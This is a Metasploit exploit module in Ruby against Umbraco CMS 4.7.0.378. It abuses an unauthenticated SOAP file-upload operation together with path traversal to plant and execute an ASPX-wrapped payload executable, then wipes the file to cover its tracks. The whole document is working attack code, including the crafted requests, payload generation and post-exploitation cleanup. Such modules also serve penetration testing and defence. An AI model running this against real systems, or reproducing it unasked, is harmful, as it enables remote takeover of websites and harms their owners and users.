Umbraco CMS – Remote Command Execution (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE def initialize super( 'Name' => 'Umbraco CMS Remote Command Execution', 'Description' => %q{ This module can be used to execute a payload on Umbraco CMS 4.7.0.378. The payload is uploaded as an ASPX script by sending a specially crafted SOAP request to codeEditorSave.asmx, which permits unauthorised file upload via the SaveDLRScript operation. SaveDLRScript is also subject to a path traversal vulnerability, allowing code to be placed into the web-accessible /umbraco/ directory. The module writes, executes and then overwrites an ASPX script; note that though the script content is removed, the file remains on the target. Automatic cleanup of the file is intended if a meterpreter payload is used. This module has been tested successfully on Umbraco CMS 4.7.0.378 on a Windows 7 32-bit SP1. In this scenario, the "IIS APPPOOL\ASP.NET v4.0" user must have write permissions on the Windows Temp folder. }, 'Author' => [ 'Toby Clarke', # Vulnerability discovery and Metasploit module 'juan vazquez' # Improved version of the Metasploit module ], 'Platform' => 'win', 'References' => [ [ 'URL', 'http://blog.gdssecurity.com/labs/2012/7/3/find-bugs-faster-with-a-webmatrix-local-reference-instance.html' ], [ 'URL', 'http://umbraco.codeplex.com/workitem/18192' ] # Item deleted for security reasons ], 'Targets' => [ [ 'Umbraco CMS 4.7.0.378 / Microsoft Windows 7 Professional 32-bit SP1', { } ], ], 'DefaultTarget' => 0, 'Privileged' => false, 'DisclosureDate' => 'Jun 28 2012' ) register_options( [ OptString.new('TARGETURI', [true, 'The URI path of the Umbraco login page', '/umbraco/']) ], self.class) end # # Remove the asmx if we get a meterpreter. # def on_new_session(cli) if cli.type != 'meterpreter' print_error("Meterpreter not used. Please manually remove #{@upload_random + '.aspx'}") return end cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi") begin aspx = @upload_random + '.aspx' print_status("#{@peer} - Searching: #{aspx}") files = cli.fs.file.search("\\", aspx) if not files or files.empty? print_error("Unable to find #{aspx}. Please manually remove it.") return end files.each { |f| print_status("#{@peer} - Deleting: #{f['path'] + "\\" + f['name']}") cli.fs.file.rm(f['path'] + "\\" + f['name']) } print_status("#{@peer} - #{aspx} deleted") rescue ::Exception => e print_error("Unable to delete #{aspx}: #{e.message}") end end # Module based heavily upon Juan Vazquez's 'landesk_thinkmanagement_upload_asp.rb' def exploit @peer = "#{rhost}:#{rport}" # Generate the ASPX containing the EXE containing the payload exe = generate_payload_exe aspx = Msf::Util::EXE.to_exe_aspx(exe) # htmlentities like encoding aspx = aspx.gsub("&", "&").gsub("\"", """).gsub("'", "'").gsub("<", "<").gsub(">", ">") uri_path = target_uri.path uri_path.path << "/" if uri_path[-1, 1] != "/" @upload_random = rand_text_alpha(rand(6) + 6) soap = <<-eos <?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <SaveDLRScript xmlns="http://tempuri.org/"> <fileName>/..\\..\\..\\umbraco\\#{@upload_random}.aspx</fileName> <oldName>string</oldName> <fileContents>#{aspx}</fileContents> <ignoreDebugging>1</ignoreDebugging> </SaveDLRScript> </soap:Body> </soap:Envelope> eos # # UPLOAD # attack_url = uri_path + "webservices/codeEditorSave.asmx" print_status("#{@peer} - Uploading #{aspx.length} bytes through #{attack_url}...") print_status("#{@peer} - Uploading to #{uri_path}#{@upload_random}.aspx") res = send_request_cgi({ 'uri' => attack_url, 'method' => 'POST', 'ctype' => 'text/xml; charset=utf-8', 'headers' => { 'SOAPAction' => "\"http://tempuri.org/SaveDLRScript\"", }, 'data' => soap, }, 20) if (! res) print_status("#{@peer} - Timeout: Trying to execute the payload anyway") elsif (res.code = 500 and res.body =~ /Cannot use a leading .. to exit above the top directory/) print_status("#{@peer} - Got the expected 500 error code #{attack_url} [#{res.code} #{res.message}]") else print_status("#{@peer} - Didn't get the expected 500 error code #{attack_url} [#{res.code} #{res.message}]. Trying to execute the payload anyway") end # # EXECUTE # upload_path = uri_path + "#{@upload_random}.aspx" print_status("#{@peer} - Executing #{upload_path}...") res = send_request_cgi({ 'uri' => upload_path, 'method' => 'GET' }, 20) if (! res) print_error("#{@peer} - Execution failed on #{upload_path} [No Response]") return end if (res.code < 200 or res.code >= 300) print_error("#{@peer} - Execution failed on #{upload_path} [#{res.code} #{res.message}]") return end # # 'DELETE' - note that the file will remain on the system, but the content will be wiped. # soap = <<-eos <?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <SaveDLRScript xmlns="http://tempuri.org/"> <fileName>/..\\..\\..\\umbraco\\#{@upload_random}.aspx</fileName> <oldName>string</oldName> <fileContents></fileContents> <ignoreDebugging>1</ignoreDebugging> </SaveDLRScript> </soap:Body> </soap:Envelope> eos attack_url = uri_path + "webservices/codeEditorSave.asmx" print_status("#{@peer} - Writing #{aspx.length} bytes through #{attack_url}...") print_status("#{@peer} - Wrting over #{uri_path}#{@upload_random}.aspx") res = send_request_cgi({ 'uri' => attack_url, 'method' => 'POST', 'ctype' => 'text/xml; charset=utf-8', 'headers' => { 'SOAPAction' => "\"http://tempuri.org/SaveDLRScript\"", }, 'data' => soap, }, 20) if (! res) print_error("#{@peer} - Deletion failed at #{attack_url} [No Response]") return elsif (res.code = 500 and res.body =~ /Cannot use a leading .. to exit above the top directory/) print_status("#{@peer} - Got the expected 500 error code #{attack_url} [#{res.code} #{res.message}]") else print_status("#{@peer} - Didn't get the code and message #{attack_url} [#{res.code} #{res.message}]") end handler end end |